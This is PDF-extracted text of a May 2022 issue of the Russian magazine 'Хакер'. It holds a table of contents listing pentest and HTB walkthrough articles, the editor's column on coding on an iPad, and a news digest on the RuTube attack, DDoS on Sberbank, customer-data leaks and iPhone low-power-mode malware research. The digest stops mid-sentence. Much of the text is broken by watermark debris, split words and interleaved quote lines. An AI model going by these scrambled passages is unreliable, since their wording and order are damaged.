книги хакеры / журнал хакер / xa-278_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
ПОДПИСКА НА «ХАКЕР»
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
Мы благодарим всех, кто поддерживает редакцию и помогает нам компенсировать авторам и редакторам их труд. Без вас «Хакер» не мог бы существовать, и каждый новый подписчик делает его чуть лучше.
Напоминаем, что дает годовая подписка:
год доступа ко всем материалам, уже опубликованным на Xakep.ru;
год доступа к новым статьям, которые выходят по будням;
полное отсутствие рекламы на сайте (при условии, что ты залогинишься); 
возможность скачивать выходящие
каждый месяц номера в PDF, чтобы читать на любом удобном устройстве;
личную скидку 20%, которую можно использовать для продления
годовой подписки. Скидка накапливается с каждым продлением.
Если по каким-то причинам у тебя еще нет подписки или она скоро кончится, спеши исправить это!
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
m |
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
w |
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
c |
|
|
|
|
o |
|
|
w |
|
|
c |
|
|
|
|
o |
|
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
df |
|
n |
e |
|
Май 2022 |
|
df |
|
n |
e |
|
|||||||||
|
|
|
-x ha |
|
|
|
|
|
|
|
|
|
-x ha |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
№ 278 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
CONTENTS |
|
|
|
|
|
|
|
|
|
|
|
||||||
iPad — это компьютер Колонка главреда
MEGANews
Самые важные события в мире инфосека за май
Ethernet Abyss
Большой гайд по пентесту канального уровня сети
Gateway Bleeding Пентестим системы FHRP и перехватываем трафик в сети
Игривый Xamarin Изучаем и взламываем мобильное приложение на С#
Уроки форензики Реверсим шифровальщика
Купила мама Konica Как специалисты нашли уязвимость и взломали прошивку МФУ
Анатомия эльфов Разбираемся с внутренним устройством ELF-файлов
Фундаментальные основы хакерства Определяем курс выполнения программ при реверсинге
Фундаментальные основы хакерства Изучаем условные переходы в обработке современными компиляторами
HTB Search Обходим AMSI в PowerShell Web Access при пентесте машины на Windows
HTB Unicode Подделываем токен JWT и захватываем сервер через curl
HTB Fingerprint Подделываем цифровой отпечаток для доступа к закрытому контенту
HTB Pandora
Захватываем сервер через систему мониторинга Pandora
HTB AdmirerToo
Захватываем сервер через Fail2ban
Мастерская хакера Собираем утилиты, которые облегчат жизнь и работу
Теплый ламповый дисплей Собираем монитор из электронно-лучевой трубки
Бунт многоножек Собираем устройство с интегральными микросхемами
Титры Кто делает этот журнал
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
HEADER |
||||
|
to |
|
|
|
|||||
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
||
|
p |
|
|
g |
|
|
|||
|
|
df |
|
|
n |
e |
|
||
|
|
|
-x ha |
|
|
|
|
||
КОЛОНКА ГЛАВРЕДА
Андрей Письменный
Главный редактор apismenny@gmail.com
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
||
Два месяца назад я оказал ся без дескто па и решил заменить его айпадом с клавиату рой . Сегодня я вкратце расска жу о своих приключени ях и о том, можно ли кодить на айпаде (спойлер : можно !). Если продук ция Apple тебя раздра жает , смело проходи мимо. Или не проходи , если все же хочешь узнать о таком редком явлении , как новая раз новидность компьюте ров .
Каждый раз, как я начинаю расска зывать в «Хакере» о своих рабочих сетапах, это вызывает у некоторых читателей жесткое непонимание : какого черта глав ред такого журнала пользует ся не обклеенным крутыми наклей ками ноутом Lenovo с Kali или хотя бы Manjaro?! Причина проста — мои рабочие задачи лежат в основном в плоскости написания писем и работы с документами , а возможность поковырять ся в командной строке — это приятный факуль татив.
Весь прошлый год моей рабочей лошадкой был Mac Mini на M1 с внешним монитором . Но пару месяцев назад я совершил серьезную оплошность: слу чайно отправил монитор на склад в Санкт Петербурге , а сам уехал на дачу в Ростов скую область. Когда я стал разбирать приехав шие на грузови ке коробки , обнаружил ся только системник . Можешь себе предста вить мой вопль ужаса и отчаяния !
Выл и заламывал руки я, впрочем , недолго . Меня к тому моменту уже посещала мысль времен но отжать у супруги новенький iPad Pro 12.9, куп ленный для рисования , приобрести к нему Magic Keyboard и попробовать поработать как за ноутбуком . Вот и повод нашелся !
Понача лу ощущения от айпада с клавиату рой и мышью очень странные . Как будто ты при помощи грязного хака влез со своим курсором внутрь экра на. Но стоит немного привык нуть , и понимаешь , что это какой то совершенно другой , новый и неизведан ный компьютер .
Я опасал ся , что отсутствие традици онных окон будет преградой для про дуктивной работы. Напрасно ! Последние улучшения в iPad OS неплохо реша ют эту проблему . Наверху у каждого приложе ния — кнопка «три точки », клик по которой выводит меню переключения в режимы Split View и Slide Over: раз деление пополам или плавающее окошко .
Эти фичи не просто хорошо работают , а делают жонгли рование задачами иногда даже более удобным , чем в системе с перекрыва ющимися окнами . Некоторая скован ность компенси руется тем, что больше не нужно искать окна глазами , регулировать их размеры и расположе ние.
Вношу изменения в финальную версию текста на основе диффа двух черновиков . Экран откровен но мал, но работать можно
Проблемы , впрочем , тоже встречают ся. Пока что далеко не все программы хорошо адаптирова ны для клавиату ры и тачпада . И один из главных наруши телей — это Telegram. В силу каких то внутренних проблем он время от вре мени перестает реагировать на клики , сделан ные курсором мыши, и глючит от поворота экрана .
В других программах тоже попадаются мелкие проблемки . В целом отличный почтовик Spark досаждает тем, что то и дело не хочет копировать текст по Cmd-C. Или, к примеру , прекрасный блокнот для заметок Bear в вер сии для iOS не поддержи вает поиск по тексту : жмешь Cmd-F и удивляешь ся, что ничего не происхо дит. iA Writer, замечатель ный редактор Markdown, так и норовит упасть и потерять часть данных , если ты вдруг вздумал открыть еще один документ в другом окне.
Зато я по достоинс тву оценил мощь кнопки Share, которая есть почти на каждом экране каждого приложе ния для iOS. Данные легко передаются
из программы в программу (или даже в свой скрипт) без всякой нужды в фай лах или рабочем столе . Думаю, мне будет этого не хватать , когда я наконец заполучу свой десктоп обратно.
Как ты уже понял, жонгли ровать органай зерами , почтовика ми и докумен тами в iPad OS — не проблема . А что насчет хакерских делишек? И можно ли кодить?
Кодить можно ! Причем не ограничи ваясь Pythonista, Codea, Swift Playgrounds, Shortcuts и прочими родными для айпада методами . И даже пор тативные никсы вроде iSH и a-Shell — вовсе не предел мечтаний .
Как вариант , можно использовать Raspberry Pi или удален ный сервер по SSH и установить на них все, что душа пожелает , включая Vim или Emacs, а также полный набор хактулз .
Пользовате лям Vim важно знать, что у Magic Keyboard нет кнопки Escape, как и всего верхне го ряда F-клавиш . Но положение не безвыход ное : можно переназначить Escape на Caps Lock или на кнопку «глобус ». У меня, впрочем , на капсло ке переключение расклад ки , а на «глобусе » — выбор эмодзи . Нужды в эскейпе в самой iPad OS я пока не встречал .
Еще я вспомнил , что существу ют облачные IDE, и решил попробовать repl.it и Glitch. Оба варианта вполне рабочие, особен но если ты занимаешь ся бэкендами . Оба дают доступ к множес тву языков и фреймвор ков , позволя ют ставить модули и дают доступ к командной строке . Увы, оба подолгу запус кают проекты из за того, что постоян но норовят погасить твой контей нер
ипри следующем запуске собирают его заново.
Итут нашлось решение еще круче — это VS Code! Да да, тот самый VS
Code, который сейчас стал программист ским стандартом де факто . Неуре занный и с полной поддер жкой расширений ! Как такое возможно в iOS? Дело в том, что VS Code — это, по сути, веб приложе ние , упакован ное в Chromium. Ничто не мешает установить его на свой сервер и открыть в браузе ре .
Такая версия VS Code уже существу ет . Она называется code-server и ста вится букваль но одной командой . После этого ты открываешь страницу
и работаешь с самым обычным VS Code. Никаких проблем и хитростей — разве что нужно обязатель но настро ить HTTPS.
Здесь доступен полноцен ный терминал , причем он продол жает выполнять команды , даже если закрыть страницу . Интерфейс отзывчивый , посколь ку целиком загружа ется в браузер , а между клиентом и сервером пересылают ся только необходимые данные . Для комфор тной работы понадобит ся стабиль ное соединение , но необязатель но быстрое .
Не исключаю , что я бы держал code-server на своей VPS, даже если бы не пытался выживать с айпадом подобно Робинзону Крузо на необитаемом острове . Подкупа ет легкость , с которой можно открыть свой проект с любого компьюте ра и кодить или править конфиги прямо на сервере . Хотя нормаль ный способ в таком случае — это все же VS Code Server.
•Сoder.com — энтерпрайз версия code-server,
созданная его разработ чиками.
•VSCode.dev — браузер ная версия VS Code, разверну тая командой разработ чиков
из Microsoft. Работает только в деморежиме .
•VS Code Server — официаль ный компонент VS Code для удален ной работы с кодом (в этом варианте VS Code выступа ет клиентом ).
Не запутайся !
Ну и напоследок посоветую софт, который делает всякое гиковство на айпаде приятнее и веселее: терминал Blink (его стоит поставить уже только ради появления поддер жки SFTP в Files), расширение Web Inspector для Safari,
редактор Runestone и инстру мент Jayson — для разбора больших файлов в JSON.
Примеча ние. На май 2022 года упомяну тые в тексте приложе ния Spark, Codea и a-Shell недоступны в россий ском App Store. О причинах ты можешь догадаться сам или узнать у разработ чиков. Популярней шее приложе ние Documents, которым я открываю архивы 7zip и RAR, постигла та же судьба . 
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
r |
|
P |
|
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
c |
|
|
|
|
c |
|
||
|
. |
|
|
|
|
|
. |
|
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|
|||
|
|
|
|
ha |
|
|
|
|
|
|||
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
r |
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
c |
|
|
|
c |
|
||
|
. |
|
|
|
|
. |
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
||
Мария «Mifrill» Нефёдова 
nefedova@glc.ru
В этом месяце: |
в |
праздни ки RuTube атакова |
ли хакеры, |
|||||||
у Delivery Club и «Гемотеста » утекли пользователь |
ские |
дан |
||||||||
ные, исследова |
тели |
взломали |
PlayStation VR и Tesla, автором |
|||||||
шифроваль |
щиков |
Jigsaw и Thanos оказал ся 55-летний |
врач, |
|||||||
хак группа Conti прекратила |
работу, а в Microsoft Ofce наш |
|||||||||
ли опасную |
уязвимость |
Follina. |
|
|
|
|
||||
АТАКА НА RUTUBE
9 мая 2022 года россий ский видеохос тинг RuTube постра дал от хакерской атаки , ответствен ность за которую взяли на себя Anonymous. В СМИ появи лись сообщения о том, что сайт вообще не подлежит восста новлению и 90% бэкапов поврежде ны, однако 11 мая RuTube вернулся в строй, а рассле дова нием случив шегося занялась команда специалис тов экспертного центра безопасности Positive Technologies (PT Expert Security Center).
Атака на сервис произош ла рано утром 9 мая. Как сообщалось в офи циальном Telegram-канале RuTube: «кто то изо всех сил пытался помешать нам провес ти трансля цию главного события сегодняшне го дня — Парада Победы». Также предста вители сервиса назвали произо шедшее крупней шей кибератакой в истории сервиса , заявляя , что RuTube «заказали ».
««RUTUBE подтвержда ет, что третьим лицам не удалось получить доступ к видеоар хиву. Вся библиоте ка, включая пользователь ский кон-
тент, по прежнему сохранена на сервисе . Сейчас ведутся работы по восста новлению инфраструктуры видеоот дачи», — писали предста -»
вители RuTube.
Вместе с этим Anonymous заявили в Twitter, что это они взломали сервис
инанесли серьезный ущерб платформе : якобы в ходе атаки постра дали или были уничтожены 75% баз и инфраструктуры основной версии сайта
и90% бэкапов и кластеров для восста новления БД.
В то же время издание The Village (издание заблокиро вано Роскомнад зором на территории РФ), со ссылкой на собствен ные источники , сообщало , что атаки начались около пяти утра 9 мая и в результате был «полностью удален код сайта », а видеосер вис теперь вообще «не подлежит восста новлению».
«Обычно на такой случай |
предус мотре |
ны бэкапы, но в конкрет ной |
|
|||||||||||
«ситуации |
проблема |
, видимо, в том, |
что |
в сервисе |
до |
сих пор |
|
|||||||
не понимают , имеет ли по прежнему |
хакер доступ к системе |
или уже |
|
|||||||||||
нет. Видеокон |
тент |
в результате |
атаки не |
постра дал |
. По мнению |
» |
||||||||
источника , такая кибератака |
стала возможна |
из за утечки кодов дос- |
||||||||||||
|
||||||||||||||
тупа к сайту », — писали журналис |
ты . |
|
|
|
|
|
|
|||||||
Предста вите ли RuTube быстро опровер гли эти заявления , заверив, что исходный код не был утерян :
««Информация относитель но утери исходного кода сайта не соответс - твует действи тельности. Мы и правда столкну лись с самой сильной
кибератакой за всю историю существо вания RUTUBE.0 0
Важно понимать, что видеохос тинг — это петабайты данных архивов
и сотни серверов . Восста нов ление потребу ет больше времени , чем изначаль но предполага ли инженеры . Однако мрачные прогнозы не имеют ничего общего с настоящим положением дел: исходный код доступен , библиоте ка цела. Сейчас идет процесс по восста нов лению
сегментов файловой системы удален ных сред и баз на части сер- » веров».
11 мая 2022 года видеохос тинг наконец вернулся в онлайн, после чего, по словам главы RuTube Алексан дра Моисеева, на платформе проводи лось «нагрузоч ное тестирова ние и дополнитель ная провер ка на уязвимость ». Кро ме того, к рассле дованию произо шедшего и для устранения последс твий атаки к делу были привлечены несколь ко экспертных команд, в частнос ти команда специалис тов экспертного центра безопасности Positive Technologies (PT Expert Security Center).
По данным команды RuTube, по состоянию на 26 мая 2022 года видеохос тинг практичес ки полностью восста новил свою функци ональность, включая стабиль ную работу сайта , Smart TV, коммента риев, загрузку видео, проведе ние стримов . Однако подчерки вается, что «восста новление еще продол жает ся».
100 000 ХАКЕРОВ ПРОТИВ «СБЕРБАНКА»
Вице президент и директор департамен та кибербезопас ности «Сбербанка » Сергей Лебедь расска зал , что после 24 февраля наблюда ется взрывной рост кибератак на россий ские ком пании, при этом их мощности увеличи лись кардиналь но.
По его словам , 6 мая 2022 года «Сбербанк » отразил самую мощную DDoS-атаку в своей исто рии: она была направле на на сайт банка , а вредонос ный трафик , сгенери рован ный ботнетом , исходил от 27 000 устройств из Тайваня , США, Японии и Великобритании . Мощность атаки составила более 450 Гбайт/с.
Также Лебедь заявил, что общая численность хакеров, действу ющих против «Сбербанка », сей час превыша ет 100 000 человек, а в марте специалис ты фиксирова ли до 46 одновремен ных DDoS-атак, нацеленных на разные сервисы банка .
УТЕЧКИ, УТЕЧКИ
Май выдался урожай ным на всевоз можные утечки данных , и эта проблема затронула в том числе и россий ские сервисы . Поговорим о наиболее замет ных сливах этого месяца.
Яндекс Еда и все-все-все
Сайт, ранее распростра нявший утекшие данные пользовате лей Яндекс Еды в формате интерак тивной карты , пополнился новыми базами, включая ГИБДД, СДЭК, Avito, Wildberries, «Билайн» и другие источники .
Напом ню , что сайт с интерак тивной картой появил ся в сети в марте текущего года. Тогда предста вите ли Яндекса подтвер дили факт утечки и пре дупредили , что в руки третьих лиц попали телефоны клиентов и информация об их заказах: состав , время доставки и так далее. Сообщалось , что данные утекли из за «недобросовес тных действий » одного из сотрудни ков .
В середине мая этот ресурс обновил ся и теперь предлага ет посетителям все ту же интерак тивную карту , однако профили пользовате лей включают дан
ные не только Яндекс Еды, но и ГИБДД, СДЭК, Avito, Wildberries, «Билайна » и других источников . Это адреса , номера телефонов , VIN-номера автомоби лей и другие данные пользовате лей сервисов .
Кроме того, на сайте появились списки публичных людей и объеди ненная информация по ним. Журналис ты обнаружи ли, что в эти списки попали номера телефонов и адреса Ксении Собчак , Светланы Кривоно гих, которую СМИ называли «близкой знакомой » Владими ра Путина (пресс секретарь президен та Дмитрий Песков заявил, что в Кремле никогда не слышали о Кри воногих ), Петра Дерипаски (сына бизнесме на Олега Дерипаски ) и еще око ло 30 человек.
««Мы увидели , насколь ко цена нашей конфиден циальности не ценится , и решили запустить новую версию сайта . Суд оштрафовал Яндекс Еду
на 60 тысяч рублей |
за утечку данных |
клиентов |
, то есть наши адреса |
|
|||||||||||||||
доставки |
и личнос тные |
данные |
стоят 0,009 рубля за |
|
пользовате |
ля |
|
||||||||||||
(6 397 035 пользовате |
лей ).0 |
|
|
|
|
|
|
|
|
|
|
|
|||||||
0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Все больше |
информации |
попадает в руки преступни |
ков , которой |
|
|||||||||||||||
могут восполь |
зовать |
ся с целью запугивания |
или обмана . Чтобы |
» |
|||||||||||||||
понимать риски , вы можете проверить |
, какая персональ |
ная информа- |
|||||||||||||||||
ция есть у мошенников |
и уголов ников |
», — заявили операто |
ры сайта . |
|
|||||||||||||||
Предста вите ли Яндекс Еды сообщили СМИ, что не фиксирова ли никаких новых инциден тов и «предпри нима ют все возможное , чтобы минимизиро вать распростра нение информации злоумыш ленни ками ». Предста вите ли Wildberries заявили , что данные пользовате лей в сохраннос ти , «беспоко ить ся не о чем, утечек данных не было». Также опровер гли утечку и в Avito, сообщив , что «это обычный парсинг ».
Delivery Club
В конце мая специалис ты Data Leakage & Breach Intelligence (DLBI) обнаружи
ли, что в продаже в даркне те появилась база данных службы доставки Delivery Club.
Продавец утвержда ет , что дамп содержит 250 миллионов строк, а опуб ликованный в открытом доступе образец содержал 1 011 812 строк, включая такие данные , как имена , номера телефонов (827 758 уникаль ных номеров), адреса доставки (включая код домофона , этаж и номер подъезда ), emailадреса (183 852 уникаль ных адреса ), составы заказов и их стоимость , IPадреса (507 673 уникаль ных адреса ), а также даты и время заказов
(с 24.05.2020 по 04.07.2021).
Предста вите ли компании подтвер дили утечку данных о заказах поль зователей , но подчер кну ли , что дамп не содержит банков ские данные . Также в компании пообещали провес ти дополнитель ный аудит внутренних систем
после окончания внутренне го рассле дования и принес ли извинения поль зователям .
«Гемотест»
Все те же эксперты Data Leakage & Breach Intelligence (DLBI) обнаружи ли в даркне те и другой дамп: хакеры выставили на продажу базу данных кли ентов медицинской лаборатории «Гемотест». По заявлени ям продав ца , база содержала 31 миллион строк, включая такую информацию , как ФИО, даты
рождения |
, адреса , телефоны , email-адреса , серии и номера паспортов |
. |
|
|||||||||||||||||||||||||||
Иссле |
дова |
тели |
писали, что в закрытом |
доступе |
и для узкого круга лиц эта |
|||||||||||||||||||||||||
база появилась |
еще в начале весны 2022 года. |
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||
После |
|
огласки |
утечки |
предста вите |
ли |
|
медицинской |
|
лаборатории |
|||||||||||||||||||||
«Гемотест» подтвер |
дили |
в письме «факт хакерской |
атаки и несанкци они |
|||||||||||||||||||||||||||
рованного |
доступа |
к информацион |
ному |
ресурсу », выявленные |
еще 22 апреля |
|||||||||||||||||||||||||
текущего |
года. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
В компании |
|
заявили , что уже обратились |
в правоох |
ранитель |
ные |
органы , |
||||||||||||||||||||||||
чтобы |
установить |
и привлечь |
к ответствен |
ности |
виновных . |
При этом |
||||||||||||||||||||||||
в «Гемотесте » подчерки |
вают |
, что есть основания |
сомневать |
ся в достовер |
|
|||||||||||||||||||||||||
ности «распростра |
няемой |
в сети интернет информации об объеме |
имеющих |
|
||||||||||||||||||||||||||
ся в распоряже |
нии злоумыш |
ленни |
ков данных ». |
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
ДЕФИЦИТ ДО 2024 ГОДА
В компании Intel расска зали, что, по их прогнозам , дефицит полупровод ников останет ся с нами надолго . Если в конце прошлого года в компании полагали , что произво дите ли нарастят мощ ности и дефицит полупровод никовых компонен тов может ослабнуть к 2023 году, теперь глава Intel Пэт Гелсингер (Pat Gelsinger) заявил CNBC, что раньше 2024 года улучшений ждать не сто ить.
→и |
«Мы считаем |
, что общая нехватка |
полупровод |
ников |
теперь распростра |
нит ся |
||||||||
на 2024 год (по сравнению |
с нашими более ранними |
|
прогнозами |
|||||||||||
и |
2023 годом), так как теперь дефицит коснулся |
оборудо |
вания |
, |
из за чего |
|||||||||
некоторые |
из производс |
твен |
ных процес сов будут более сложными |
», |
|
|
||||||||
— сказал Гелсингер и добавил, что при этом сама Intel находится в лучшем положении , чем дру гие предста вители отрасли.
МАЛВАРЬ НА ВЫКЛЮЧЕННОМ
IPHONE
Иссле дователи из Дармштадтско го техничес кого универ ситета разработа ли вредонос ное ПО для iPhone, которое может работать даже на выключен ном устройстве .
Все началось с того, что ученые исследова ли реализацию режима низкого энергопот ребления (low-power mode, LPM) на iPhone и обнаружи ли, что тот несет в себе серьезные риски для безопасности и даже позволя ет злоумыш ленникам запускать малварь на выключен ных устройствах . По мнению экспертов , эти риски нельзя игнориро вать, особен но если речь идет о жур налистах , активис тах и других лицах, которые могут стать мишенью для хорошо финансиру емых злоумыш ленников.
Анализ экспертов выявил, что на iPhone, который работает под управле
нием iOS 15, системы беспро водной связи Bluetooth, NFC и ultra-wideband (UWB) связи остаются активными даже после выключения устройства .
«Чипы Bluetooth и UWB жестко подклю чены |
к Secure Element (SE) |
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
«в чипе NFC и хранят секреты , которые должны |
быть доступны |
в LPM. |
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Посколь ку поддер жка LPM реализова на аппарат но , ее нельзя отклю- |
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
чить |
|
|
путем |
|
изменения |
програм мных |
компонен |
тов . В результате |
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||
на современ |
ных |
iPhone |
более нельзя |
доверять отключению |
беспро - |
» |
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
водных чипов после выключения |
», — гласит доклад исследова тель ской |
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
группы . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
Придя к этому выводу, исследова |
тели |
провери |
ли работу приложе |
ний , |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
использующих |
LPM |
(например |
, Find My), а |
|
также |
|
|
оценили |
их |
влияние |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||
на безопасность |
железа и прошив ки . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||
Так как описан ная в докладе |
|
атака все же пока только концепт |
, в рамках |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
своего анализа |
эксперты |
предположи |
ли , что злоумыш |
ленник |
уже имеет при |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
вилегиро |
ван ный |
доступ к прошив ке , может отправлять |
специаль |
ные |
команды , |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
изменять |
|
образ прошив ки или выполнять |
код «по воздуху ». Выяснилось |
, что |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
если прошив ка скомпро мети |
рова |
на , то у злоумыш |
ленни |
ка получится сох |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
